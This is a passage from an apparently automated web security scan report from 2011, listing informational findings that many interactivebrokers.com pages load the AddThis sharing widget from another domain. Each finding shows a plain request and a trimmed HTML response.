<script language="JavaScript" src="http://www2.daytrade4less.com/livesupport/js/status_image.php?base_url=http://www2.daytrade4less.com/livesupport&l=admin&x=1&deptid=0&"><a href="http://www.phplivesupport.com">
...[SNIP]...

17.23. http://www.interactivebrokers.com/en/accounts/advisors/advisorsMain.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.interactivebrokers.com
Path:	/en/accounts/advisors/advisorsMain.php

Issue detail

The response dynamically includes the following script from another domain:

http://s7.addthis.com/js/250/addthis_widget.js

Request

GET /en/accounts/advisors/advisorsMain.php HTTP/1.1
Host: www.interactivebrokers.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:47:00 GMT
Server: Apache
Content-Length: 43269
Connection: close
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>Open an Account</title>
<meta name="description" content=
...[SNIP]...
</script>
<script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js#pubid=ra-4e174c7454ff6cea"></script>
...[SNIP]...

17.24. http://www.interactivebrokers.com/en/accounts/advisors/employeeTrackMain.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.interactivebrokers.com
Path:	/en/accounts/advisors/employeeTrackMain.php

Issue detail

The response dynamically includes the following script from another domain:

http://s7.addthis.com/js/250/addthis_widget.js

Request

GET /en/accounts/advisors/employeeTrackMain.php HTTP/1.1
Host: www.interactivebrokers.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:47:00 GMT
Server: Apache
Content-Length: 42834
Connection: close
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>IB EmployeeTrack Compliance Reporting</title>
<meta name=
...[SNIP]...
</script>
<script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js#pubid=ra-4e174c7454ff6cea"></script>
...[SNIP]...

17.25. http://www.interactivebrokers.com/en/accounts/brokers/brokerMain.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.interactivebrokers.com
Path:	/en/accounts/brokers/brokerMain.php

Issue detail

The response dynamically includes the following script from another domain:

http://s7.addthis.com/js/250/addthis_widget.js

Request

GET /en/accounts/brokers/brokerMain.php HTTP/1.1
Host: www.interactivebrokers.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:47:00 GMT
Server: Apache
Content-Length: 45274
Connection: close
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>Open an Account</title>
<meta name="description" content=
...[SNIP]...
</script>
<script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js#pubid=ra-4e174c7454ff6cea"></script>
...[SNIP]...

17.26. http://www.interactivebrokers.com/en/accounts/closingAccount.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.interactivebrokers.com
Path:	/en/accounts/closingAccount.php

Issue detail

The response dynamically includes the following script from another domain:

http://s7.addthis.com/js/250/addthis_widget.js

Request

GET /en/accounts/closingAccount.php HTTP/1.1
Host: www.interactivebrokers.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:49:13 GMT
Server: Apache
Content-Length: 44791
Connection: close
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>Closing An Account</title>
<meta name="description" conte
...[SNIP]...
</script>
<script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js#pubid=ra-4e174c7454ff6cea"></script>
...[SNIP]...

17.27. http://www.interactivebrokers.com/en/accounts/institutions/fundMain.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.interactivebrokers.com
Path:	/en/accounts/institutions/fundMain.php

Issue detail

The response dynamically includes the following script from another domain:

http://s7.addthis.com/js/250/addthis_widget.js

Request

GET /en/accounts/institutions/fundMain.php HTTP/1.1
Host: www.interactivebrokers.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:47:00 GMT
Server: Apache
Content-Length: 44744
Connection: close
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>Open an Account</title>
<meta name="description" content=
...[SNIP]...
</script>
<script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js#pubid=ra-4e174c7454ff6cea"></script>
...[SNIP]...

17.28. http://www.interactivebrokers.com/en/accounts/institutions/institutionalMain.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.interactivebrokers.com
Path:	/en/accounts/institutions/institutionalMain.php

Issue detail

The response dynamically includes the following script from another domain:

http://s7.addthis.com/js/250/addthis_widget.js

Request

GET /en/accounts/institutions/institutionalMain.php HTTP/1.1
Host: www.interactivebrokers.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:47:00 GMT
Server: Apache
Content-Length: 43599
Connection: close
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>Open an Account</title>
<meta name="description" content=
...[SNIP]...
</script>
<script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js#pubid=ra-4e174c7454ff6cea"></script>
...[SNIP]...

17.29. http://www.interactivebrokers.com/en/accounts/legalDocuments/brokerPerformanceReports.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.interactivebrokers.com
Path:	/en/accounts/legalDocuments/brokerPerformanceReports.php

Issue detail

The response dynamically includes the following script from another domain:

http://s7.addthis.com/js/250/addthis_widget.js

Request

GET /en/accounts/legalDocuments/brokerPerformanceReports.php HTTP/1.1
Host: www.interactivebrokers.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:49:14 GMT
Server: Apache
Content-Length: 38432
Connection: close
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>Broker Performance Reports</title>
<meta name="descriptio
...[SNIP]...
</script>
<script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js#pubid=ra-4e174c7454ff6cea"></script>
...[SNIP]...

17.30. http://www.interactivebrokers.com/en/accounts/legalDocuments/custIdentificationNotice.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.interactivebrokers.com
Path:	/en/accounts/legalDocuments/custIdentificationNotice.php

Issue detail

The response dynamically includes the following script from another domain:

http://s7.addthis.com/js/250/addthis_widget.js

Request

GET /en/accounts/legalDocuments/custIdentificationNotice.php HTTP/1.1
Host: www.interactivebrokers.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:49:15 GMT
Server: Apache
Content-Length: 37941
Connection: close
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>Customer Identification Program Notice</title>
<meta name
...[SNIP]...
</script>
<script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js#pubid=ra-4e174c7454ff6cea"></script>
...[SNIP]...

17.31. http://www.interactivebrokers.com/en/accounts/legalDocuments/homepageDisclosures.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.interactivebrokers.com
Path:	/en/accounts/legalDocuments/homepageDisclosures.php

Issue detail

The response dynamically includes the following script from another domain:

http://s7.addthis.com/js/250/addthis_widget.js

Request

GET /en/accounts/legalDocuments/homepageDisclosures.php HTTP/1.1
Host: www.interactivebrokers.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:49:16 GMT
Server: Apache
Content-Length: 43207
Connection: close
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>Warnings and Disclaimers</title>
<meta name="description"
...[SNIP]...
</script>
<script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js#pubid=ra-4e174c7454ff6cea"></script>
...[SNIP]...

17.32. http://www.interactivebrokers.com/en/accounts/legalDocuments/privacy.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.interactivebrokers.com
Path:	/en/accounts/legalDocuments/privacy.php

Issue detail

The response dynamically includes the following script from another domain:

http://s7.addthis.com/js/250/addthis_widget.js

Request

GET /en/accounts/legalDocuments/privacy.php HTTP/1.1
Host: www.interactivebrokers.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:49:14 GMT
Server: Apache
Content-Length: 41579
Connection: close
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<title></title>
<meta name="description" content="Important priv
...[SNIP]...
</script>
<script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js#pubid=ra-4e174c7454ff6cea"></script>
...[SNIP]...

17.33. http://www.interactivebrokers.com/en/general/about/about.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.interactivebrokers.com
Path:	/en/general/about/about.php

Issue detail

The response dynamically includes the following script from another domain:

http://s7.addthis.com/js/250/addthis_widget.js

Request

GET /en/general/about/about.php HTTP/1.1
Host: www.interactivebrokers.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:50:34 GMT
Server: Apache
Content-Length: 62283
Connection: close
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>About The Interactive Brokers Group</title>
<meta name="d
...[SNIP]...
</script>
<script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js#pubid=ra-4e174c7454ff6cea"></script>
...[SNIP]...

17.34. http://www.interactivebrokers.com/en/general/about/awards.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.interactivebrokers.com
Path:	/en/general/about/awards.php

Issue detail

The response dynamically includes the following script from another domain:

http://s7.addthis.com/js/250/addthis_widget.js

Request

GET /en/general/about/awards.php HTTP/1.1
Host: www.interactivebrokers.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:47:06 GMT
Server: Apache
Content-Length: 59574
Connection: close
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>Interactive Brokers Awards</title>
<meta name="descriptio
...[SNIP]...
</script>
<script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js#pubid=ra-4e174c7454ff6cea"></script>
...[SNIP]...

17.35. http://www.interactivebrokers.com/en/general/about/commentLetters.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.interactivebrokers.com
Path:	/en/general/about/commentLetters.php

Issue detail

The response dynamically includes the following script from another domain:

http://s7.addthis.com/js/250/addthis_widget.js

Request

GET /en/general/about/commentLetters.php HTTP/1.1
Host: www.interactivebrokers.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:50:34 GMT
Server: Apache
Content-Length: 53625
Connection: close
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" lang="en">
<head>
<title>IB Comme
...[SNIP]...
</script>
<script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js#pubid=ra-4e174c7454ff6cea"></script>
...[SNIP]...

17.36. http://www.interactivebrokers.com/en/general/about/exchange_memberships.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.interactivebrokers.com
Path:	/en/general/about/exchange_memberships.php

Issue detail

The response dynamically includes the following script from another domain:

http://s7.addthis.com/js/250/addthis_widget.js

Request

GET /en/general/about/exchange_memberships.php HTTP/1.1
Host: www.interactivebrokers.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:50:36 GMT
Server: Apache
Content-Length: 41620
Connection: close
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" lang="en">
<head>
<title>Exchang
...[SNIP]...
</script>
<script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js#pubid=ra-4e174c7454ff6cea"></script>
...[SNIP]...

17.37. http://www.interactivebrokers.com/en/general/about/financials.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.interactivebrokers.com
Path:	/en/general/about/financials.php

Issue detail

The response dynamically includes the following script from another domain:

http://s7.addthis.com/js/250/addthis_widget.js

Request

GET /en/general/about/financials.php HTTP/1.1
Host: www.interactivebrokers.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:50:34 GMT
Server: Apache
Content-Length: 41334
Connection: close
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" lang="en">
<head>
<title>IB Fina
...[SNIP]...
</script>
<script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js#pubid=ra-4e174c7454ff6cea"></script>
...[SNIP]...

17.38. http://www.interactivebrokers.com/en/general/about/ratingSandP.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.interactivebrokers.com
Path:	/en/general/about/ratingSandP.php

Issue detail

The response dynamically includes the following script from another domain:

http://s7.addthis.com/js/250/addthis_widget.js

Request

GET /en/general/about/ratingSandP.php HTTP/1.1
Host: www.interactivebrokers.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:50:36 GMT
Server: Apache
Content-Length: 37306
Connection: close
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>S&P Rating</title>
<meta name="description" content="S&P
...[SNIP]...
</script>
<script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js#pubid=ra-4e174c7454ff6cea"></script>
...[SNIP]...

17.39. http://www.interactivebrokers.com/en/general/alpineHelp.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.interactivebrokers.com
Path:	/en/general/alpineHelp.php

Issue detail

The response dynamically includes the following script from another domain:

http://s7.addthis.com/js/250/addthis_widget.js

Request

GET /en/general/alpineHelp.php HTTP/1.1
Host: www.interactivebrokers.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:50:43 GMT
Server: Apache
Content-Length: 37414
Connection: close
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>Secure Login with your Alpine Device</title>
<meta name="
...[SNIP]...
</script>
<script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js#pubid=ra-4e174c7454ff6cea"></script>
...[SNIP]...

17.40. http://www.interactivebrokers.com/en/general/bingoHelp.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.interactivebrokers.com
Path:	/en/general/bingoHelp.php

Issue detail

The response dynamically includes the following script from another domain:

http://s7.addthis.com/js/250/addthis_widget.js

Request

GET /en/general/bingoHelp.php HTTP/1.1
Host: www.interactivebrokers.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:50:45 GMT
Server: Apache
Content-Length: 37582
Connection: close
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>Secure Login with Security Code Card</title>
<meta name="
...[SNIP]...
</script>
<script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js#pubid=ra-4e174c7454ff6cea"></script>
...[SNIP]...

17.41. http://www.interactivebrokers.com/en/general/contact/feedbackForm.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.interactivebrokers.com
Path:	/en/general/contact/feedbackForm.php

Issue detail

The response dynamically includes the following script from another domain:

http://s7.addthis.com/js/250/addthis_widget.js

Request

GET /en/general/contact/feedbackForm.php HTTP/1.1
Host: www.interactivebrokers.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:50:40 GMT
Server: Apache
Content-Length: 38459
Connection: close
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" lang="en">
<head>
<title>Suggesti
...[SNIP]...
</script>
<script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js#pubid=ra-4e174c7454ff6cea"></script>
...[SNIP]...

17.42. http://www.interactivebrokers.com/en/general/education/OptPriceAgreement.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.interactivebrokers.com
Path:	/en/general/education/OptPriceAgreement.php

Issue detail

The response dynamically includes the following script from another domain:

http://s7.addthis.com/js/250/addthis_widget.js

Request

GET /en/general/education/OptPriceAgreement.php HTTP/1.1
Host: www.interactivebrokers.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:47:05 GMT
Server: Apache
Content-Length: 41395
Connection: close
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>Interactive Tutorial and Widget User Agreement</title>
<m
...[SNIP]...
</script>
<script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js#pubid=ra-4e174c7454ff6cea"></script>
...[SNIP]...

17.43. http://www.interactivebrokers.com/en/general/education/UserGuides.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.interactivebrokers.com
Path:	/en/general/education/UserGuides.php

Issue detail

The response dynamically includes the following script from another domain:

http://s7.addthis.com/js/250/addthis_widget.js

Request

GET /en/general/education/UserGuides.php HTTP/1.1
Host: www.interactivebrokers.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:50:12 GMT
Server: Apache
Content-Length: 42257
Connection: close
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" lang="en">
<head>
<title>User Do
...[SNIP]...
</script>
<script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js#pubid=ra-4e174c7454ff6cea"></script>
...[SNIP]...

17.44. http://www.interactivebrokers.com/en/general/education/comparebrokers.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.interactivebrokers.com
Path:	/en/general/education/comparebrokers.php

Issue detail

The response dynamically includes the following script from another domain:

http://s7.addthis.com/js/250/addthis_widget.js

Request

GET /en/general/education/comparebrokers.php HTTP/1.1
Host: www.interactivebrokers.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:47:05 GMT
Server: Apache
Content-Length: 38071
Connection: close
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" lang="en">
<head>
<title>Broker
...[SNIP]...
</script>
<script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js#pubid=ra-4e174c7454ff6cea"></script>
...[SNIP]...

17.45. http://www.interactivebrokers.com/en/general/education/hdi_Add_Products_Market_Data.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.interactivebrokers.com
Path:	/en/general/education/hdi_Add_Products_Market_Data.php

Issue detail

The response dynamically includes the following script from another domain:

http://s7.addthis.com/js/250/addthis_widget.js

Request

GET /en/general/education/hdi_Add_Products_Market_Data.php HTTP/1.1
Host: www.interactivebrokers.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:50:14 GMT
Server: Apache
Content-Length: 47070
Connection: close
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>How do I Add Products and Market Data?</title>
<meta name
...[SNIP]...
</script>
<script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js#pubid=ra-4e174c7454ff6cea"></script>
...[SNIP]...

17.46. http://www.interactivebrokers.com/en/general/education/hdi_Deposit_Withdraw_Transfer.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.interactivebrokers.com
Path:	/en/general/education/hdi_Deposit_Withdraw_Transfer.php

Issue detail

The response dynamically includes the following script from another domain:

http://s7.addthis.com/js/250/addthis_widget.js

Request

GET /en/general/education/hdi_Deposit_Withdraw_Transfer.php HTTP/1.1
Host: www.interactivebrokers.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:50:13 GMT
Server: Apache
Content-Length: 49155
Connection: close
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>How Do I Deposit, Withdraw and Transfer Funds and Positio
...[SNIP]...
</script>
<script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js#pubid=ra-4e174c7454ff6cea"></script>
...[SNIP]...

17.47. http://www.interactivebrokers.com/en/general/education/hdi_bonds.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.interactivebrokers.com
Path:	/en/general/education/hdi_bonds.php

Issue detail

The response dynamically includes the following script from another domain:

http://s7.addthis.com/js/250/addthis_widget.js

Request

GET /en/general/education/hdi_bonds.php HTTP/1.1
Host: www.interactivebrokers.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:50:13 GMT
Server: Apache
Content-Length: 48539
Connection: close
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>How Do I Trade Bonds?</title>
<meta name="description" co
...[SNIP]...
</script>
<script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js#pubid=ra-4e174c7454ff6cea"></script>
...[SNIP]...

17.48. http://www.interactivebrokers.com/en/general/education/hdi_borrow_lend.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.interactivebrokers.com
Path:	/en/general/education/hdi_borrow_lend.php

Issue detail

The response dynamically includes the following script from another domain:

http://s7.addthis.com/js/250/addthis_widget.js

Request

GET /en/general/education/hdi_borrow_lend.php HTTP/1.1
Host: www.interactivebrokers.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:50:14 GMT
Server: Apache
Content-Length: 49307
Connection: close
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>How Do I Borrow and Lend?</title>
<meta name="description
...[SNIP]...
</script>
<script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js#pubid=ra-4e174c7454ff6cea"></script>
...[SNIP]...

17.49. http://www.interactivebrokers.com/en/general/education/hdi_check_my_BAP.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.interactivebrokers.com
Path:	/en/general/education/hdi_check_my_BAP.php

Issue detail

The response dynamically includes the following script from another domain:

http://s7.addthis.com/js/250/addthis_widget.js

Request

GET /en/general/education/hdi_check_my_BAP.php HTTP/1.1
Host: www.interactivebrokers.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:50:13 GMT
Server: Apache
Content-Length: 50077
Connection: close
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>How Do I Monitor My Account Balances, Activity and Perfor
...[SNIP]...
</script>
<script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js#pubid=ra-4e174c7454ff6cea"></script>
...[SNIP]...

17.50. http://www.interactivebrokers.com/en/general/education/hdi_port_margin.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.interactivebrokers.com
Path:	/en/general/education/hdi_port_margin.php

Issue detail

The response dynamically includes the following script from another domain:

http://s7.addthis.com/js/250/addthis_widget.js

Request

GET /en/general/education/hdi_port_margin.php HTTP/1.1
Host: www.interactivebrokers.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:50:15 GMT
Server: Apache
Content-Length: 40126
Connection: close
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>How Do I Upgrade to Portfolio Margin?</title>
<meta name=
...[SNIP]...
</script>
<script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js#pubid=ra-4e174c7454ff6cea"></script>
